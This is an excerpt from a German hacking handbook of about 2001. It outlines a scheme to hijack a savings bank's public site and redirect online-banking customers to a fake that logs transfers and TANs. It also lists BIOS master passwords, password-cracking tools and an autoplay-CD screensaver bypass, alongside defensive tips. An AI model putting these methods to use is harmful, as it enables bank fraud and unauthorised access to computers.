 Im Oktober 2001 trat erneut jemand an uns heran, der zur Aufklärung öffentlicher Missstände ein Security-Audit verschiedener Banken und Sparkassen in Auftrag gab. Nach den Erfahrungen, die wir aus den vorangegangenen Aktionen gesammelt hatten, entstand folgender Plan.
 Offenherzig – Sparkasse Kleinmusterhausen
 Der Internetauftritt dieser Sparkasse ist aufgebaut wie die meisten anderen in Deutsch-land auch: Er besteht aus 2 Teilen.
 Der öffentliche Teil, in dem der Kunde sich über die jeweilige Sparkasse informieren kann und über den er per Verlinkung zu seinem Konto kommt. Dieser ist im Allgemei-nen recht einfach aufgebaut. Meist handelt es sich hier um einen lokal oder durch Pro-vider verwalteten Server, der oft sehr einfach geschützt ist und sehr gern von Administ-ratoren vernachlässigt wird. Auf diesem Webserver laufen oft zu rein repräsentativen Zwecken Applikationen, die den Server sehr anfällig machen.
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 Bild 1.6: Herzlichen willkommen bei der Sparkasse – nur die URL muss stimmen.
 Bild 1.7: Blick auf die Password-Datei einer deutschen Sparkasse durch einfaches Eingeben einer bestimmten URL
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 Der zweite Bereich ist der eigentliche E-Banking-Bereich. Dieser wird bei den Sparkas-sen oft durch Rechenzentren verwaltet. Die Server sind meist gut geschützt, und man kann davon ausgehen, dass ein Angriff auf diesen Rechner so gut wie keinen Erfolg ha-ben wird.
 Bild 1.8: Hier geht’s zum Home-Banking.
 Der Plan zum Angriff
 Man sucht eine Sicherheitslücke, die es ermöglicht, Zugriff auf den öffentlichen Server der entsprechenden Bank bzw. Sparkasse zu nehmen. Das wäre in diesem Fall ein Script-Fehler oder ein fehlerhafter FTP-Server, auf denen meist Treiber für HBCI–Geräte oder Updates verschiedener Onlinebanking-Software gelagert werden.
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 Nach dem Zugriff verändert man sämtliche Seiten, die auf den eigentlichen E-Banking-Rechner im Rechenzentrum verweisen.
 Bild 1.9: Beispiel des Quelltextes einer Sparkassenseite mit dementsprechender Verlinkung zum Rechenzentrum
 Der Fake übernimmt
 Aufgrund der vorliegenden Informationen über Design und Funktionsweise der ent-sprechenden Seite beginnt man nun einen Fake zu bauen. Dieser Fake würde den eigent-lichen E-Banking-Rechner »spiegeln«, d.h. man leitet den Kunden von der Präsentation der lokalen Sparkasse durch den veränderten Link Zum Konto oder Onlinebanking direkt auf den Fake. Der Kunde hat nun dieselben Informationen und Optionen vor sich wie auf dem eigentlichen E-Banking-Rechner. Wenn nun z.B. bei einer Überweisung Einga-ben gemacht werden, landen diese Daten dann in einer Logdatei. Da sämtliche Transak-tionen nicht ausgeführt werden, sondern nur in die Logdateien wandern, sind die Transaktionsnummern weiterhin gültig. Zu Risiken und Nebenwirkungen fragen Sie Ih-ren Bankberater.
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22 Schwachstellen bei Windows-Systemen (9x, NT, 2000)
 Bei der Entwicklung von Windows 95/98/Me hat Microsoft die Sicherheit zugunsten der Benutzerfreundlichkeit vernachlässigt – die für den professionellen Bereich erstellten Produkte (Windows NT 4.0 und Windows 2000) wurden sehr viel sicherheitsbewusster konzipiert. Diese Schwachstellen laden Hacker und Cracker geradezu ein, in die Systeme einzudringen. Daneben macht es die Klientel dieser Consumer-Betriebssysteme Angrei-fern im Allgemeinen sehr leicht. Windows 95/98/Me-User (und aller Voraussicht nach auch ein Großteil derjenigen, die mit Windows XP Home-Edition arbeiten werden) ha-ben meist nur geringe Kenntnisse über Sicherheit und über die Gefahren, denen sie ihre Daten aussetzen.
 Da Ihre Daten nicht nur beim Surfen im Internet gefährdet sind, umfasst dieses Kapitel den gesamten Bereich Datensicherheit – und der beginnt schon beim BIOS-Passwort
 2.1 Jenseits der Hacker – Plattencrash, Dateneinsicht oder Diebstahl
 Sicherheit beginnt schon bei elementaren Überlegungen zur Datensicherung, die in vielen – den meisten? – Fällen überhaupt nicht stattfindet, und geht dann über die Sicherung des Rechners gegen unbefugte Nutzung bis hin zum Internet. Fast jeder Computernutzer hat heutzutage Daten auf seinem Rechner, deren Verlust bzw. deren Neuerstellung ein Vielfaches des PC-Preises ausmachen würde. Die zusätzlichen Risiken, z.B. bei einem Diebstahl, sind dabei noch gar nicht berücksichtigt: Wer möchte schon seine letzte Steu-ererklärung oder manche Korrespondenz in falschen Händen wissen?
 Der Stand-alone-PC ist zwar eher durch äußere Einflüsse (Viren, Diebstahl etc.) oder Fehlbedienungen gefährdet, trotzdem gibt es noch eine Menge anderer Möglichkeiten, an persönliche Daten zu gelangen: Zuhause oder im Büro kann grundsätzlich jeder an das Gerät – und was nützt das pfiffigste BIOS-Passwort, wenn der Rechner in der Mit-tagspause weiterläuft. Wie sicher z.B. der passwortgeschützte Bildschirmschoner ist, zei-gen wir weiter unten.
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 Von Privatanwendern, aber auch in Unternehmen werden oft auch die Investitionen in eine gute Firewall gescheut oder der Bequemlichkeit zuliebe auf ein BIOS-Passwort ver-zichtet. Somit werden auch in Zukunft User mit diesen Betriebssystemen leichte Beute für Hackerangriffe jeder Art sein.
 2.1.1 Unterschiede zwischen Windows 9x und NT und seinen Nachfolgern
 Der grundlegende Unterschied zwischen den verschiedenen Betriebssystemen, der wohl erst jetzt mit XP ein Ende haben wird: Die bisherige Win 9x-Linie bietet nur einen ein-geschränkten Schutz (BIOS-Passwort) gegen unbefugte Benutzung, bei NT- oder Win-dows 2000-Rechnern besteht noch die Anmeldung mit Passwort als Zwischenstufe, die die Sicherheit erhöht. Daneben können bei NT und Windows 2000 Daten von vornher-ein verschlüsselt werden, was bei 9x von zusätzlicher Software abhängig ist.
 Bei Angriffen auf Windows 95/98/ME muss man zwischen zwei verschiedenen Angriffs-arten unterscheiden. Zum einen der physische Angriff, der von jemandem ausgeführt wird, der direkten Zugriff auf das System hat, zum anderen der Remote-Angriff, der über das Internet durchgeführt wird.
 2.1.2 Der physische Angriff
 Ein manchmal genutzter Schutz des Computers ist das Setzen eines BIOS-Passworts. Dabei wird der User beim Start des Computers, vor dem Hochfahren der graphischen Oberfläche, nach einem Passwort gefragt.
 Leider wurden auch hier von Crackern Methoden gefunden, diesen Schutz zu umgehen und sich Zugriff auf die Systeme zu verschaffen. Es gilt der Grundsatz, je älter der Rech-ner, und damit auch das BIOS, desto leichter ist es zu umgehen bzw. zu knacken.
 Grundsätzlich ist zwischen drei Methoden zum Umgehen bzw. Knacken der Passwort-sperre des BIOS zu unterscheiden:
 ■
 ■
 ■
 Benutzung eines Generalpassworts Ermitteln des Passworts aus dem Arbeitsspeicher Software des CMOS löschen
 Benutzung eines Generalpassworts zum Zugriff
 Die Hersteller verschiedener BIOS-Versionen haben für den Fall, dass deren um Sicher-heit besorgte Nutzer einmal ihr Passwort vergessen haben könnten, ein Generalpasswort oder Default-Passwort vergeben. Mit diesen Passwörtern kann der Rechner unabhängig vom zuletzt verwendeten und gespeicherten Passwort gestartet werden. Diese Passwörter
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 können auf zahlreichen Seiten im Internet bezogen werden, wobei bei den meisten recht fraglich ist, ob sie noch funktionieren oder ob sie nicht total veraltet sind.
 Die meisten dieser Passwörter wurden erfolgreich getestet, jedoch sollte bei Benutzung auf die amerikanische Tastaturbelegung geachtet werden.
 Hersteller: Award Hersteller: AMI Hersteller: Phoenix Allgemeine Passwörter
 BIOSSTAR PASSWORD PHOENIX aLLy
 BIOSTAR Ami phoenix Wodj
 ALFAROME A.M.I. CMOS SZYX
 q_l27&z AMI?PW BIOS Syxz
 J64 AMI?SW Sxyz
 J262 AMI_SW SKY_FOX
 J256 AMI setup
 j262 SER
 j256 LKWPETER
 AWARD_SW lkwpeter
 589589 HLT
 AWARD_PW CONDO
 AWARD_PS awkward
 AWARD?SW BIOSTAR
 AWARD SW
 AWARD
 Award
 589721 Tabelle 2.1: Generalpasswörter für das BIOS
 Ermitteln des Passworts aus dem Arbeitsspeicher
 Das Ermitteln des Passworts aus dem Arbeitsspeicher erfordert, dass der Rechner bereits gestartet wurde, der Hacker kann dann mit Hilfe von Tools Zugriff auf die im Arbeits-speicher abgelegten Passwörter nehmen. Für die verschiedenen BIOS-Versionen gibt es unterschiedliche Tools, die man leicht aus dem Internet beziehen kann.
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 Bild 2.1: Password–BIOS-Hacker von Oren Levy
 Tool BIOS Author Quelle
 AMIDECOD AMI Danny Soft www.hackerzbook.de
 Award Modular Bios crack tool Award The Immortal www.hackerzbook.de
 CrackAmiBios 1.1 AMI unbekannt www.hackerzbook.de
 Password general Oren Levy - Dynamic www.hackerzbook.de
 Password (C)alculator for AWARD BIOS AWARD FalCoN 'N' AleX www.hackerzbook.de Tabelle 2.2: Tools zum Ermitteln des Passworts aus dem Arbeitsspeicher
 Software des CMOS löschen
 Findet der Hacker kein Generalpasswort oder kein passendes Tool, bleibt ihm noch der Weg, das BIOS zu löschen und damit auch das Passwort. Zu beachten ist dabei, dass auch Systemeinstellungen verloren gehen.
 Beim Löschen des BIOS nehmen sich Angreifer wiederum Tools zu Hilfe, eines der be-kanntesten ist dabei KiLLCMOS32. Dieses Tool löscht alle Einstellungen und ist bei al-len BIOS-Versionen anwendbar. Hierbei ist es allerdings notwendig, dass das System be-reits läuft.
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 Bild 2.2: KiLLCMOS32 löscht zuverlässig die kompletten BIOS-Einstellungen.
 Es setzt einen ungültigen Wert in das CMOS und bewirkt so, dass alle dort gespeicherten Daten (einschl. Passwort) neu eingegeben werden müssen. Bedingung ist aber, dass der Computer läuft und man freien Zugriff hat.
 Unter http://www.memosys.com/passwort/faq.htm finden Sie weitere Informationen zu BIOS-Passwörtern.
 Besser informierte Internet-Nutzer glauben manchmal, dass Zugriffe auf ein System nur über das Internet stattfinden können und schützen ihren Rechner dann dagegen mit Fi-rewalls recht gut ab. Doch was ist, wenn irgendjemand z.B. in der Mittagspause physi-schen Zugang zu einem Rechner bekommt? Mit welchen Methoden könnte er vorgehen, um z.B. den Screensaverschutz zu umgehen und Passwörter auszulesen?
 2.1.3 Der Screensaver-Passwortschutz – kein Problem für Insider
 Um Ihren Rechner während kurzer Abwesenheit vor neugierigen Augen zu schützen, lässt sich unter Windows 95/98/Me der Rechner einfach mit einem Screensaver-Passwort sichern. Dieses erlaubt nach Einschalten des Screensavers nur Usern mit dem entsprechenden Passwort Zugriff auf das System zu nehmen.
 Bild 2.3: Wenn Windows Röhren baut oder Bezier-Kurven zeichnet – Rückkehr nur mit Passwort
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 Bei Windows 95/98/Me kann man unter Eigenschaften von Anzeige im Register Bild-schirmschoner den Zugriff auf das System nach Einschalten des Bildschirmschoners sper-ren lassen.
 Bild 2.4: Windows verlangt eine Kennwortbestätigung.
 Wenn andere Zugang zu Ihrem PC haben, sollten Sie grundsätzlich dieses Kennwort vergeben, denn damit lässt sich auch leicht ein übler Streich spielen: Stellen Sie sich vor, jemand stellt Ihren Rechner auf Bildschirmschoner nach 3 Minuten mit Kennwort-schutz ein. Dann genügt eine kurze Pause (Telefon o.ä.), und schon stockt Ihre Arbeit. Denn ohne Kennwort kommen Sie nicht mehr an den PC, ohne ihn neu zu starten. Dann sind aber auch evtl. nichtgespeicherte Daten verloren – ein hoher Preis.
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 So kann man den Passwortschutz knacken
 Hier soll verdeutlicht werden, wie leicht es ist, den Passwortschutz eines Screensavers auszuschalten bzw. zu umgehen, wenn der Hacker nur genug Zeit und Know-how hat.
 Neustart
 Eine recht rabiate, primitive, aber wirkungsvolle Methode, das Screensaver-Passwort zu umgehen, ist es, den Rechner mit Hilfe des Reset-Knopfes neu zu starten. Zu beachten ist, dass in jedem Fall nichtgespeicherte Daten sofort verloren gehen, z.B. nicht gespei-cherte Word-Dokumente oder geöffnete Dateien usw. Dies führt meist dazu, dass der Benutzer des Systems den Fremdzugriff registriert.
 Taskmanager – Einfallstor unter Windows 95
 Eine noch viel einfachere Art, den Screensaver zu umgehen, bot Microsoft Angreifern unter Windows 95: Durch das Drücken der Tastenkombinationen (Strg)+(Alt)+(Entf) – oder umgangssprachlich einfach »Affengriff« – konnte man den Task des Bildschirm-schoners gezielt beenden.
 Bild 2.5: Hier stand der Schutz unter einem schlechten Stern: Ein Mausklick beendet den Bildschirmschoner.
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 Schutzmöglichkeit für Windows-95-Nutzer
 Ein Schutz gegen diesen Angriff bietet lediglich ein Update von Windows 95 auf Win-dows 98/ME. Auch bei NT/2000 sind solche Maßnahmen zum Umgehen des Screensa-ver-Passworts wirkungslos.
 Wie man ein solches Passwort dennoch knackt, erfahren Sie weiter unten, denn auch der Passwortschutz ist nur begrenzt sicher. Das Vorgehen zum Entschlüsseln des Passworts ist mit den geeigneten Tools recht einfach, und man sollte wissen, wie leicht das geht. Zugleich bietet es die Möglichkeit, sich selbst zu retten, wenn man ein Passwort verges-sen hat.
 2.1.4 Autoplay – Einbruchsvorbereitung per CD
 Jetzt haben Sie den PC im BIOS und den Bildschirmschoner mit einem Kennwort gesi-chert, das Kennwort vielleicht sogar so gewählt, dass es eine Kombination aus Buchsta-ben und Zahlen ist – jetzt müsste doch der PC in der Pause unzugänglich sein, oder? Welche Tools ein potentieller Hacker während der Mittagspause verwenden kann, um an Ihre Daten zu gelangen, erfahren Sie hier.
 Windows 95/98/Me verwendet standardmäßig für das CD-ROM-Laufwerk die Option Autoplay, diese wird im Microsoft Knowledge Base Article Q141059 folgendermaßen definiert.
 »Windows prüft immer wieder das CD-ROM-Laufwerk, um festzustellen, ob eine CD-ROM eingelegt wurde. Wird ein CD-ROM entdeckt, wird sie auf das Vorhandensein ei-ner Autorun.inf–Datei überprüft. Enthält die CD eine Autorun.inf–Datei, werden die in der Zeile open= enthaltenden Anweisungen dieser Datei ausgeführt.«
 Hinweis: Diese Thematik wird auch noch in Kapitel 4 behandelt, denn oft wird die
 Autoplay Funktion dazu genutzt, Trojaner in ein fremdes System einzuspielen. Hier-bei kann man evtl. laufende Internetverbindungen (oder bei Netzwerken die LAN-Verbindungen) des Systems nutzen, um somit trotz Screensaver Zugriff auf den Rechner zu erhalten. Wenn der Trojaner aufgespielt ist, kann ganz einfach das Screensaver-Passwort umgangen werden. Weiterhin ist es möglich, durch einen sol-chen Zugriff auf das System das Screensaver-Passwort auszuschalten, indem man den Wert des folgenden Registryschlüssels HKEY_CURRENT_USER/Control Panel/desktop /ScreenSaveActive auf 0 setzt.
 Es gibt nämlich einige Programme, die man mittels Autoplay Funktion aufspielen kann, um damit die Passworteingabe zu umgehen. Eines dieser Programme ist Clean Screen. Hier eine Anleitung, mit der man sich notfalls selbst befreien kann (die Vorbereitungen sollten Sie aber getroffen haben, bevor es zu spät ist):
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 Zip Datei runterladen (www.hackerzbook.de) und entpacken! 1.
 2.
 3.
 4.
 5.
 6.
 7.
 Die EXE-Datei und die autostart.ini auf eine CD brennen. Die beiden Dateien müs-sen im Verzeichnisbaum ganz oben stehen. Also nicht in irgendeinen Unterordner kopieren.
 Wenn die CD fertig gebrannt ist, dann versucht man es einfach mal am eigenen PC.
 Bildschirmschoner-Passwort einstellen, warten bis der Bildschirmschoner startet.
 Die neu gebrannte CD ins CD-ROM Laufwerk und warten bis der PC-Lautsprecher piept. Wenn er nicht angeschlossen ist, einfach warten bis das CD-ROM-Laufwerk aufhört zu arbeiten.
 Danach in die Passwort-Eingabeaufforderung nur noch 123 eingeben und der Bild-schirmschoner sollte verschwinden!
 Danach zeigt das Tool das alte Passwort an und mit ALTEN WERT SCHREIBEN setzt man es wieder auf das alte Passwort zurück. Wenn man dies nicht macht, speichert es als aktuelles Passwort 123.
 Bild 2.6: Der Zugriff auf das Bildschirmschoner-Passwort per Autoplay-CD
 Schutz gegen Autoplay-Angriffe
 Um sich gegen diesen Angriff zu schützen, sollte man die Autoplay Funktion unter Windows 95/98/Me ausschalten. Dies funktioniert wie folgt:

Page 65
						

2.1 Jenseits der Hacker – Plattencrash, Dateneinsicht oder Diebstahl 7711
 In der Systemsteuerung auf SYSTEM doppelklicken, Register GERÄTEMANAGER wählen, Doppelklick auf das CD-ROM-Laufwerk und danach Doppelklick auf den Treiber des CD-ROM-Laufwerks.
 Im Register EINSTELLUNGEN entfernt man nun den Eintrag Automatische Benachrichti-gung beim Wechsel.
 Bild 2.7: Hier werden die entscheidenden Häkchen gemacht.
 Screensaver-Passwort entschlüsseln
 Das Screensaver-Passwort wird bei Windows 95/98/Me standardmäßig im Registry- Schlüssel HKEY\USERS\.Default\Control Panel\Screen_Save_Data gespeichert. Die Ver-schlüsselung ist sehr einfach und mit einer Vielzahl von Programmen zu knacken.
 Der Nachteil der meisten Programme liegt darin, dass sie nur funktionieren, wenn der Screensaver noch nicht aktiv ist (was man machen kann, wenn er bereits aktiv ist, wissen Sie ja bereits).
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 Bild 2.8: Passwort-Knacker im Einsatz
 Hier einige Programme zum Knacken des Screensaver-Passworts.
 Programm Autor Webseite
 SCR-it! - Version 1.0 Yoto Yotov www.hackerzbook.de
 SCRNLOCK Yoto Yotov www.hackerzbook.de
 SS_D 1.0 Bubble www.hackerzbook.de
 Win95 Screen Saver Password Cracker v1.1 nobody www.hackerzbook.de Tabelle 2.3: Tools zum Knacken des Screensaver-Passworts
 2.2 Passwörter ausspionieren
 2.2.1 Interessante Passwörter gibt’s fast überall
 Bei lokalen Angriffen spielt das Ausspähen von Passwörtern ein große Rolle. Mithilfe von Passwort-Crackern können Hacker fast jedes während einer Sitzung gespeicherte Passwort ausspionieren und sie dazu verwenden, sich z.B. Zugriff auf passwortgeschütz-te Dateien, das Internet oder das Netzwerk bzw. bestimmte Bereiche davon zu verschaf-fen. Leider macht es Microsoft Angreifern sehr leicht, an diese Informationen zu kom-men und den Nutzern seiner Systeme immer schwerer, diese Passwörter zu verbergen. Einfache Beispiele dafür finden sich beim Internet Explorer und der DFÜ-Verbindung.
 Der Internet Explorer ab der Version 4.0 benutzt eine AutoVervollständigung, die den Nut-zer nach erfolgter Eingabe von Accountdaten fragt, ob er diese speichern möchte oder nicht.
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 Bild 2.9: Praktische Hilfe für Nutzer und Einbrecher – AutoVervollständigen
 Auf diese Art gespeicherte Informationen sind sehr leicht mit der Hilfe von Passwort-Crackern auszulesen. Besonders brisant ist das Speichern von Internetaccounts in der DFÜ-Verbindung, dies kann dazu führen, dass die Daten ausgelesen und dazu verwen-det werden, auf Kosten der Nutzer im Internet zu surfen.
 Hier ein aktuelles Beispiel:
 Montag, 5. November 2001 10:30am
 Deutschland: Millionenbetrug durch Hacker
 ...Tausende Passwörter geknackt
 Ermittler sind einem groß angelegten Betrug von Hackern auf der Spur,
 die auf Kosten ahnungsloser PC-Besitzer im Internet surfen. Ein Kreis
 von etwa 30 mutmaßlichen Tätern hätte Passwörter von mehreren tausend
 Computernutzern geknackt, heißt es in einem vorab veröffentlichten Be-
 richt des Nachrichtenmagazins Der Spiegel.
 Der Schaden in zwei Großverfahren der Staatsanwaltschaften Dortmund und
 Münster wird auf rund zwei Millionen Mark geschätzt. Auf Kosten der ah-
 nungslosen Nutzer sei teilweise für bis zu 20 000 Mark im Monat im In-
 ternet gesurft worden Die Hacker hätten die Passwörter zudem auf ein-
 schlägigen Webseiten veröffentlicht, hieß es. In Münster seien bereits
 3600 Ermittlungsverfahren abgeschlossen. Dies liegt nach Angaben der
 Staatsanwalt allerdings schon ein halbes Jahr zurück.
 Bei der Dortmunder Staatsanwaltschaft seien mehr als 1000 Verfahren ge-
 gen Verdächtige in ganz Deutschland anhängig. (dpa)
 Quelle: www.silicon.de
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 Bild 2.10: Billiger surfen – Viel mehr braucht man nicht.
 2.2.2 Die Passwort-Dateien:
 Unter Windows 95/98/Me werden Passwörter und Benutzernamen in so genannten PWL Dateien gespeichert. PWL steht für PassWord-Library. Jedes Benutzerprofil enthält dabei eine eigene PWL-Datei, als Dateiname wird der jeweilige Benutzername verwen-det. Beispiel: Meldet man sich bei Windows mit dem Namen »Hans« an, so trägt die PWL-Datei den Namen Hans.pwl. Alle PWL-Dateien werden im Windows Verzeichnis gespeichert, also im Pfad c:\windows\.
 Unter Windows 95/98/Me kann jedes Programm Zugriff auf die PWL-Dateien nehmen, um in ihnen Daten zu hinterlegen, so werden z.B. Passwörter für Freigaben von Lauf-werken und Druckern sowie DFÜ- Kennwörter und Windows Anmeldenamen gespei-chert. Während einer Sitzung werden sämtliche eingegebene Passwörter in der jeweili-gen PWL gespeichert und erst nach einem Neustart gelöscht.
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 Bild 2.11: Auf den ersten Blick unverfänglich, das verschlüsselte Passwort
 Die Verschlüsselung
 Microsoft hat es sich in den ersten Versionen von Windows 95 mit dem Verschlüsse-lungsalgorithmus recht leicht gemacht, was es den Hackern ebenfalls relativ einfach machte, diese zu entschlüsseln bzw. zu cracken. In den nächsten Versionen folgten Ver-schlüsselungstechniken, die zwar weiterhin mit einer Vielzahl von Tools zu knacken wa-ren, jedoch erforderte dies sehr viel mehr Zeit.
 Eine PWL-Datei beinhaltet einen Header sowie das Erstellungsdatum der jeweiligen Da-teien, weiterhin werden so genannte Records, die die eigentlichen Passwörter enthalten, gespeichert.
 Aus dem Benutzernamen und dem Passwort generiert Windows 9x einen 32-Bit langen Schlüssel. Egal, ob das Passwort länger oder kürzer ist als 32-Bit, hat ein Schlüssel immer diese Länge. Mit diesem Schlüssel und einer Abwandlung des RC4-Algorithmus werden die Daten in den PWL-Dateien verschlüsselt. RC4 ist ein symmetrisches Verschlüsse-lungsverfahren, bei dem beide Partner einer Kommunikation das gleiche tun – nur in der jeweils anderen Richtung. Der Absender verschlüsselt mit einem Schlüssel die zu übertragenden Daten, der Empfänger entschlüsselt mit genau dem gleichen Schlüssel die Nachricht. Vorteilhaft an symmetrischer Verschlüsselung ist vor allem die große Ge-schwindigkeit der Verschlüsselung und die leichte Implementierbarkeit der Verfahren. Nachteilig wirken sich das Schlüssel-Austausch-Problem und die aufwändige Schlüssel-verwaltung aus.
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 Leider lässt sich dieser Schlüssel mit den entsprechenden Tools innerhalb von Sekunden knacken, dafür stehen Hackern unzählige Tools im Netz zur Verfügung, weiterhin sind solche Tools oft in Trojanern integriert, die es möglich machen, alle eingegebenen Pass-wörter auf dem Zielrechner sofort auszulesen.
 Passwort-Cracker
 Wie schon erwähnt, gibt es für Windows eine Vielzahl von Passwort-Crackern, die es ermöglichen, Windows-Passwörter zu entschlüsseln bzw. auszulesen. Bei größeren PWL-Dateien wird jedoch viel Zeit benötigt, um die Passwörter auszulesen. Hier greifen Ha-cker oft dazu, sich die PWL Dateien auf eine Diskette zu speichern. Dann kann sich der Hacker die Dateien auf einen anderen Rechner kopieren, um sie dort ungestört und oh-ne Zeitdruck zu entschlüsseln.
 An dieser Stelle möchte ich eines der besten Tools vorstellen.
 Pwltool
 Pwltool (http://www.webdon.com) verwendet Brute Force (übersetzt: brutale Gewalt) zum Entschlüsseln der Passwörter. Dies geschieht anhand von Passwortlisten, wobei es nur eine Frage der Zeit ist, bis vom Tool alle gespeicherten Passwörter angezeigt werden. Pwltool erwies sich als einer der besten Passwortcracker, die momentan erhältlich sind und brilliert vor allem durch seine hohe Geschwindigkeit.
 Bild 2.12: Knackt fast jedes Passwort, hat aber Probleme mit alphanumerischen Kombinationen.
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 Schutzmöglichkeit
 Um sich vor Crackern wie Pwltool zu schützen, gibt es unter Windows 95/98/Me die Möglichkeit, folgenden Registry-Schlüssel zu erstellen: HKEY_LOCAL_MACHINE\ SOFWARE\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching = 1. Dieser Schlüssel verhindert das Speichern eingegebener Passwörter und macht es somit unmöglich diese auszulesen.
 Weiterhin wird besonders bei der Nutzung von Windows 95 ein Update auf einen stär-keren Verschlüsselungsalgorithmus empfohlen, dieses Update ist auf folgender Seite er-hältlich (Stand: November 2001): http://support.microsoft.com/support/kb/articles/Q132 /8/07.asp.
 Weiterhin gibt es ein Tool, das das Auslesen der Passwörter verhindert: PassSecure der Firma Multimedia Network Systems (auf der beigefügten CD) verhindert das Zugreifen von Passwort-Crackern auf die PWL-Dateien und macht somit jegliche Attacke wir-kungslos.
 2.2.3 Passwörter unter Windows 2000
 Der Umgang von Windows 2000 mit Passwörtern ist ein ganz anderer als der von Win-dows 95/98/Me, so wird bei Windows 2000 automatisch die Sicherheit der Passwörter überprüft. Verstöße gegen die allgemeine Passwortsicherheit werden mit einer automati-schen Warnung angezeigt. Dabei prüft Windows 2000 alle Passwörter auf ihre Länge, auf regelmäßiges Ändern der Passwörter und Zeichenvielfalt. Aufgrund dieser Angaben kann Windows 2000 das Sicherheitsrisiko der Passwörter errechnen und den Nutzer ge-gebenenfalls warnen.
 Unter Windows 2000 werden alle Passwörter in einer SAM (Security Account Mana-ger)-Datenbank gespeichert, diese Datenbank ist ein Teil der Registry.
 Meldet sich ein Benutzer unter Windows 2000 an, so werden die Daten an den Security Account Manager weitergeleitet, weiterhin erhält der Nutzer eine Art »Berechtigungs-ausweis«, in dem festgehalten ist, welche Zugriffsrechte er hat und welcher Nutzer-Gruppe er angehört.
 SAM verwendet die Benutzerdaten, die in der Datei winnt/system32/config/sam gespei-chert sind. In dieser ist neben einem Windows Passwort auch ein Passwort für den LAN Manager gespeichert. Ein direkter Zugriff auf diese Datei ist nicht möglich, da sie von Windows ständig verwendet wird.
 Mittlerweile gibt es jedoch etliche Brute-Force-Programme, die das Hacken von Pass-wörtern sowohl unter NT als auch unter Windows 2000 ermöglichen, wobei eines der bekanntesten der legendäre L0phtCrack 2.5 ist. Den Zugriffsschutz umgeht dieses Tool, indem es im Hintergrund eine Art Kopie der SAM-Datei erstellt.
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 Bild 2.13: L0phtCrack 2.5 – Dietrich für Windows 2000-Passwörter
 Der L0phtCrack kann Passwörter auf zwei verschiedene Arten knacken. Die erste ist das so genannte Dictionary-Cracking, wobei eine Wordlist mit oft verwendeten Passwörtern und Zeichen verwendet wird, um das Passwort zu erraten. Die zweite ist das Brute-Force-Cracking, wobei jede mögliche Zahlen und/oder Wort-Kombination ausprobiert wird. Das Thema Password-Cracking wird in Kapitel 7 nochmals ausführlich aufgegrif-fen.
 2.3 Der Remote-Angriff – Internet- oder Netzwerk-User aufgepasst
 Eines sollte klar sein, ein Remote-Angriff bzw. Fernzugriff auf ein Windows 95/98/Me System ist in der Standardkonfiguration als Stand-alone-PC und ohne Trojaner recht schwierig. Doch ist es oft notwendig, die Standardkonfiguration zu verändern, z.B. bei einem Anschluss des Systems an ein Netzwerk. Durch die ungeschützten Freigaben von Datenträgern oder schlampig gesetzten Passwörter wird Eindringlingen häufig Tür und Tor geöffnet. Wie man solche freigegebenen Ressourcen aufspürt, erfahren Sie in diesem Kapitel.
 Außerdem bietet sich Hackern in den Zeiten von ISDN, xDSL und Flatrates, in denen User ihre Systeme oft permanent ans Internet binden, genug Zeit, etliche Angriffsme-thoden auszuprobieren, um ans Ziel zu kommen. Wie zum Beispiel das Scannen nach diversen Löchern im System.
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 2.3.1 Datei- und Druckerfreigaben sind gefährliche Sicher-heitslücken
 Die Datei- und Druckerfreigaben werden eigentlich dazu genutzt, Usern auf dem Netz-werk Zugriff auf Ordner oder Datenträger zu ermöglichen. Seit sich aber immer mehr Nutzer zu Hause ein kleines Netzwerk aufbauen, um z.B. den alten PC noch weiter zu verwenden oder hin und wieder ein Notebook anzuschließen, ist die Freigabe auch für Privatpersonen zu einem sicherheitsrelevanten Thema geworden.
 Bild 2.14: Hier steckt ein Risikofaktor, den man nicht bemerkt.
 Vielen Benutzern dieser Dienste ist nicht klar, welchen Gefahren sie ihre Daten bei einer gleichzeitigen Verbindung ins Internet aussetzen. Der Schaden, den die Hacker anrich-ten können, liegt im Besonderen daran, welche Freigaben vom User gesetzt sind. Im Laufe der Recherchen dieses Buches wurden tatsächlich Systeme gefunden, deren User sämtliche Laufwerke freigegeben und noch dazu keinerlei Passwörterschutz gesetzt hat-ten. Fälle dieser Art sind natürlich grob fahrlässig und zeigen gleichzeitig immer wieder auf, wie leichtsinnig sich manche Menschen im Netz bewegen.
 2.3.2 Was sind Scanner, wie arbeiten sie?
 Das Aufspüren dieser Freigaben erfolgt mit Hilfe von Scannern. Einer der bekanntesten ist Legion von Rhino9. Legion scannt den Rechner nach sämtlichen Freigaben und stellt diese dann grafisch dar. Leider ist Legion sehr unzuverlässig und findet freigegebene Ressourcen nicht immer sofort, was mehrere Scans notwendig macht. Daneben verfügt Legion über ein Brute-Force-Tool sowie eine umfangreiche Passwortliste.
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 Bild 2.15: Zum Aufspüren von Freigaben genügt der IP-Bereich der Rechner.
 Ein weiterer sehr guter Scanner ist Lan Guard Network Scanner. Seine Vorteile liegen im Gegensatz zu Legion in einer hohen Zuverlässigkeit und einer sehr hohen Scan-geschwindigkeit.
 Bild 2.16: Das Ergebnis des Scans
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 Er liefert lediglich Informationen über den Rechner und verfügt über keinerlei Angriff-tools, was bedeutet, dass zum Passwort-Cracking wieder auf andere Tools wie Legion zurückgegriffen werden muss.
 Name URL Plattform
 Auto NetBIOS Hacker www.hackerzbook.de Windows 9x/NT/2000
 Legion www.hackerzbook.de Windows 9x/NT/2000, UNIX/Linux
 NAT www.hackerzbook.de Windows 9x/NT, UNIX/Linux
 SharesFinder www.hackerzbook.de Windows 9x/NT/2000 Tabelle 2.4: Tools zum Aufspüren von Freigaben
 Der Zugriff auf freie Ressourcen
 Der Zugriff auf gefundene freigegebene Ressourcen kann wie folgt geschehen: Der An-greifer gibt einfach die gefunden IP-Adresse in seinen Windows-Explorer ein, z.B. \\217.3.161.59. Die folgende Abbildung zeigt den Inhalt der freigegebenen Festplatte C: auf einem über das Netz angesprochenen Rechner. Die möglichen Risiken und Schä-den sind unschwer zu erkennen.
 Bild 2.17: Verbindung mit einem anderen Rechner per Dateifreigabe
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 Unter DOS kann man sich noch mit dem Befehl NET USE verbinden lassen.
 Bild 2.18: Hier greift man über DOS auf den anderen Rechner zu.
 2.3.3 Welche Möglichkeiten hat der Eindringling?
 Je nach Freigaben hat man nun Zugriff auf die Dateien des freigebenden Ordners oder Laufwerks.
